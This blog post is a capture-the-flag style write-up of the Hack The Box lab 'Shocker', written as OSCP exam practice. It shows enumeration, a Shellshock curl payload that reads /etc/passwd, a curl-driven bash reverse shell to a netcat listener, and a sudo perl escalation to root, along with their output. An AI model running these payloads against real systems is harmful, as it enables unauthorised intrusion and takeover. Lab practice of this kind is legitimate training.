Path to OSCP: Shocker

As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.

Next up is Shocker. We begin with nmap (shocker!):

u01@nostromo:~$ nmap -p- -A shocker.htb -oA HTB/shocker/shocker
Starting Nmap 7.94 ( ) at 2023-09-15 10:17 IST
Nmap scan report for shocker.htb (
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (conn-refused)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.03 seconds

We have an Apache webserver on port 80 and an OpenSSH server on non-standard port 2222, running on Ubuntu. Checking out the webpage we see the following:

Page source has no further leads, so we crack out gobuster to see what directories and files might be publicly accessible. While that’s running I check the versions of Apache and OpenSSH for any vulnerabilities. A couple of interesting results we’ll dig into further:

u01@nostromo:~$ searchsploit openssh 7.2
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/
OpenSSH 7.2 - Denial of Service | linux/dos/
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/
OpenSSH 7.2p2 - Username Enumeration | linux/remote/
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
------------------------------------------------------------------------------------------------------------------------- ---------------------------------

u01@nostromo:~$ searchsploit apache 2.4.18
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | jsp/webapps/
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC) | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution | linux/remote/
------------------------------------------------------------------------------------------------------------------------- ---------------------------------

I’m curious about the username enumeration on OpenSSH, since the version matches exactly, so I try “OpenSSH 7.2p2 – Username Enumeration | linux/remote/”. As is common with these older boxes through, I run into trouble with Python 2 scripts not running correctly under Python 3. I try specifying python2, running under Python virtual environment, and using 2to3 to convert, but no luck. Running Python 2 scripts on modern Kali seems very hit and miss, despite having two solutions in the form of virtual environmnets and 2to3, so I’m hoping that in the actual OSCP (and as we encounter more recent boxes), Python 2.x exploits will become less common in favour of Python 3.

Anyway, I move on from the username enumeration for now. Gobuster has completed with no hits, which is a little unusual and suspect. I kick off gobuster again, this time including Status 403 for any forbidden files/directories, and this gives me a hit against two directories:

u01@nostromo:~/HTB/shocker$ gobuster dir -u http://shocker.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 403,200 -b "" -f
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://shocker.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 403,200
[+] User Agent: gobuster/3.6
[+] Add Slash: true
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/cgi-bin/ (Status: 403) [Size: 294]
/icons/ (Status: 403) [Size: 292]
Progress: 87664 / 87665 (100.00%)

It goes without saying /cgi-bin/ is the most interesting from these two, as it potentially contains viewable scripts. I search for “cgi-bin exploit”, and come across old reliable HackTricks, with an article on CGI. It contains a short section on the Shellshock vulnerability. Given the box name of “Shocker”, it’s pretty obvious this is the right path. The article mentions an nmap script which can be used to test for vulnerability. It requires a script file in the cgi-bin directory, so I’m very certain we’re on the right track now and just need to do some deep enumeration to find an appropriate file. With that in mind, I kick off a gobuster scan against cgi-bin that includes common scripting extensions; .cgi, .pl, .py, .sh. We get a hit on

u01@nostromo:~$ gobuster dir -u http://shocker.htb/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x cgi,pl,py,sh 
Gobuster v3.6 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 
[+] Url: http://shocker.htb/cgi-bin/ 
[+] Method: GET 
[+] Threads: 10 
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
[+] Negative Status codes: 404 
[+] User Agent: gobuster/3.6 
[+] Extensions: cgi,pl,py,sh 
[+] Timeout: 10s 
Starting gobuster in directory enumeration mode 
/ (Status: 200) [Size: 118]

We can then plug this into the nmap command:

u01@nostromo:~/HTB/shocker$ nmap shocker.htb -p 80 --script=http-shellshock --script-args uri=/cgi-bin/
Starting Nmap 7.94 ( ) at 2023-09-15 12:58 IST
Nmap scan report for shocker.htb (
Host is up (0.027s latency).

80/tcp open http
| http-shellshock: 
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
| Disclosure date: 2014-09-24
| References:

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds


The box is indeed vulnerable to Shellshock. GitHub repo opsxcq/exploit-CVE-2014-6271: Shellshock exploit + vulnerable environment ( has a nice single line curl POC, which we run to confirm remote command access:

u01@nostromo:~/HTB/shocker$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

We modify this curl command to generate a bash reverse shell to an listening netcat:

u01@nostromo:~$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'" \

And we get a shell as user shelly, allowing us to retrieve the user.txt flag from shelly’s home directory:

u01@nostromo:~$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [] from (UNKNOWN) [] 39216
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We check sudo permissions for shelly, and perl is executable as root with no password:

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

GTFOBins has a straightforward command to drop from perl into a root shell using this sudo privilege:

And sure enough we’re in as root to obtain root.txt

shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";' 
sudo perl -e 'exec "/bin/sh";' 
uid=0(root) gid=0(root) groups=0(root) 
ls -l /root/ 
total 4 
-r-------- 1 root root 33 Sep 15 05:11 root.txt

Takeaway for OSCP

My first impression of this box was one of frustration and it being a little too “CTF-like” for OSCP or real-life penetration testing. The initial enumeration for the file is very easy to miss, and it took me many attempts to even find the initial /cgi-bin/ as the correct attack vector. But after a bit of thought, I realise the initial enumeration was difficult only because of my lack of understanding of common Apache directories and their purpose. This was also a good box to remind me not to be lazy with directory fuzzing. It’s all too easy to just launch a default gobuster or ffuf scan without giving it a second thought. I feel the majority of the time for HTB this is sufficient, but in cases like Shocker it will lead you to missing a key clue towards exploitation. Not a box I enjoyed much, but some good lessons learnt.

Leave a Reply

Your email address will not be published. Required fields are marked *